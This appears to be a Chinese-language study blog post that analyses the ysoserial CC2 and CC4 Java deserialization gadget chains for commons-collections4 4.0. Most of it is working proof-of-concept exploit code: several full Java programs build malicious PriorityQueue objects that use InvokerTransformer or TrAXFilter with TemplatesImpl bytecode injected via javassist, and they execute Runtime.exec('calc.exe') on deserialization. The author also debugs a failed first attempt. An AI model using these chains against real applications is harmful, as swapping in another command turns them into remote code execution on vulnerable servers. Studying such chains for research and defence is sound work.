前言

最近也碰到了有用到这两条利用连的情况,如果这两条学习完的话,最初的 ysoserial 六条 Commons Collectionos 组件的 Payload 就剩下一条 5 了,但是实际上还有很多补充,后续会再写的。最近在计划把 CC 组件再复习总结一下,争取让自己对 Java 反序列化的认识再深刻一点。

前置

注意这两条链所使用的都是 commons-collections4:4.0

image.png

jar 包的 下载链接

Gadget

CC2 Gadget

/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

CC4 Gadget

/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
ChainedTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
...
Runtime.getRuntime().exec()
*/

可以看到,这两条链子实际上是很像的,都是以 PriorityQueue 这个类作为入口,只不过 CC2 是利用的 InvokerTransformer 类的任意类函数调用来调用的 transform,而 CC4 的后半段更像 CC3 用 InstantiateTransformer 来触发 TrAXFilter 的初始化,最终也将调用 TemplatesImpl.newTransformer

PriorityQueue

Java中PriorityQueue通过二叉小顶堆实现,可以用一棵完全二叉树表示。本文从Queue接口函数出发,结合生动的图解,深入浅出地分析PriorityQueue每个操作的具体过程和时间复杂度,将让读者建立对PriorityQueue建立清晰而深入的认识。
总体介绍
前面以Java ArrayDeque为例讲解了Stack和Queue,其实还有一种特殊的队列叫做PriorityQueue,即优先队列。优先队列的作用是能保证每次取出的元素都是队列中权值最小的(Java的优先队列每次取最小元素,C++的优先队列每次取最大元素)。这里牵涉到了大小关系,元素大小的评判可以通过元素本身的自然顺序(natural ordering),也可以通过构造时传入的比较器(Comparator,类似于C++的仿函数)。

Java中PriorityQueue实现了Queue接口,不允许放入null元素;其通过堆实现,具体说是通过完全二叉树(complete binary tree)实现的小顶堆(任意一个非叶子节点的权值,都不大于其左右子节点的权值),也就意味着可以通过数组来作为PriorityQueue的底层实现。
image.png

当然在我们的反序列化攻击里对算法的理解并不关键,但是用到了还是了解一下比较好。

利用

CC2

入口为 PriorityQueue 类,我们从它的 readObject 进入,调用它的 heapify(); 方法

image.png

我们可以从 heapify(); 方法跟进到这里

image.png

我们可以通过这里,构造反序列化 exp,进入我们想要进入的 comparator 类的 compare 方法,我们这里构造的是 TransformingComparator

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));

image.png

这里存在 transform 的调用,能够调用 transform 了,那我们直接就构造 transformer 就可以实现 RCE 了,继续跟进也可以看到,这里直接调用了 InvokeTransformer ,这里 ysoserial 并没有构造 transformer 数组,而是选择使用了 TemplatesImpl 来进行攻击

image.png

初始 POC

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2POC {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformerChain));
queue.add(1);
queue.add(2);


ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

image.png

如果我们想要对反序列化进行调试的话就可以发现,我们的程序根本没有运行到序列化与反序列化,实际上在我们所写的 add 中就会触发 calc.exe,也就是说我们的 POC 是错误的,并没有进行反序列化触发 calc.exe

image.png

其实从这里的报错我们也可以看出一些问题:

image.png

这里直接点进我们的报错中看起来是很奇怪的,我们可以右键下载源码

image.png

image.png

再往下实际上就是整个报错的调用链了,可以看出是我们这里的 TransformingComparator.compare 的问题

我们肯定不能就让他这样了啊,我们来调试寻找一下程序退出的原因,在这里,

image.png

我们从这里开始来跟一下问题产生的原因:

image.png

发现 this.decorated 最终会被 ComparatorUtils.NATURAL_COMPARATOR 赋值,跟进 ComparatorUtils.NATURAL_COMPARATOR 发现其用来获取一个 ComparableComparator 对象

image.png

可以看到,我们上面的 return 的参数, this.decorated 是一个 ComparableComparator 对象,value1value2 都指向 ProcessImpl 对象。接下来我们步入到 ComparableComparator.compare() 方法,这也是我们报错中的第一行

image.png

image.png

ComparableComparator.compare() 方法传入的参数必须为 Comparable 类型,而我们传入的 ProcessImpl 对象并没有实现 Comparable,导致传入的参数类型错误,从而产生了报错并中断程序的执行。

修改

这里其实我们可以尝试自己更换一种路径,调用 siftUpUsingComparator 方法出错了,那我们可以试一下 siftUpComparable,也就是我们一开始先不传入 comparator 的参数,直接实例化,PriorityQueue queue = new PriorityQueue(1); ,在 add 完之后我们再 setFieldValue,这是我们修改后的代码

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class aaa {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

此时的返回便正常了

image.png

我们去看到 ysoserial 的时候会发现,ysoserial 的 Payload 实际上并不是这么写的。

image.png

这才是 ysoserial 的 POC,ysoserial 使用的是 TemplatesImpl 来进行 rce,区别其实不大,只不过这因为只需要

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2POC2 {
public static class StubTransletPayload extends AbstractTranslet {
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(StubTransletPayload.class)));
CtClass clazz = pool.get((StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}

image.png

这里一开始传入的是一个 toString,然后 add ,最后再对各种参数进行设置,和我们上面更改后的 POC 比较相似了,这里我们可以根据我们上面的思路自己也写一个。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class MyPOC {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(CC2POC2.StubTransletPayload.class)));
CtClass clazz = pool.get((CC2POC2.StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "sp4c1ous");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);

Object[] queue_array = new Object[]{templates,1};
setFieldValue(queue,"queue",queue_array);
setFieldValue(queue,"size",2);
setFieldValue(queue,"comparator",Tcomparator);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();

}
}

image.png

所以,前面两个的疑问都是不必要的了。调试的时候也没什么区别,可能又是 ysoserial 出于某些考虑设置的 XD

CC4

一直到这里都是和上面的 CC2 一样的

image.png

其实基本上也没什么变化,感觉这两条链子当一个也没什么不行 XD

这里用 InstantiateTransformer 来触发 TrAXFilter 的 初始化,最终也将调用 TemplatesImpl.newTransformer

image.png

后续就是动态加载字节码的内容了

image.png

看一眼 ysoserial,又是这种,中间一个 add 截断,上面定义下面赋值的画风,我们改写一下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import static sun.reflect.misc.FieldUtil.getField;

public class CC4POC2 {
public static class StubTransletPayload extends AbstractTranslet {
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(StubTransletPayload.class)));
CtClass clazz = pool.get((StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

ConstantTransformer constant = new ConstantTransformer(String.class);

Class[] paramTypes = new Class[] { String.class };
Object[] arg = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, arg);

paramTypes = (Class[]) getFieldValue(instantiate, "iParamTypes");
arg = (Object[]) getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(2);

setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
arg[0] = templates;

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}

image.png

这里实际上和我们上一条链子的区别就是这里我们利用了 TrAXFilter.class ,我们通过 ChainedTransformer 把我们的 new ConstantTransformer(TrAXFilter.class) 送了进去,然后利用 TrAXFilter 的初始化来实现对 templates.newTransformer 的调用,可能可以用来进行一些绕过?反正总体来说区别不大。

image.png

利用我们在 CC2 中的经验,手写 POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4POC {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(CC2POC2.StubTransletPayload.class)));
CtClass clazz = pool.get((CC2POC2.StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

Object[] queue_array = new Object[]{templates,1};
setFieldValue(queue,"queue",queue_array);
setFieldValue(queue,"size",2);
setFieldValue(queue,"comparator",Tcomparator);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

image.png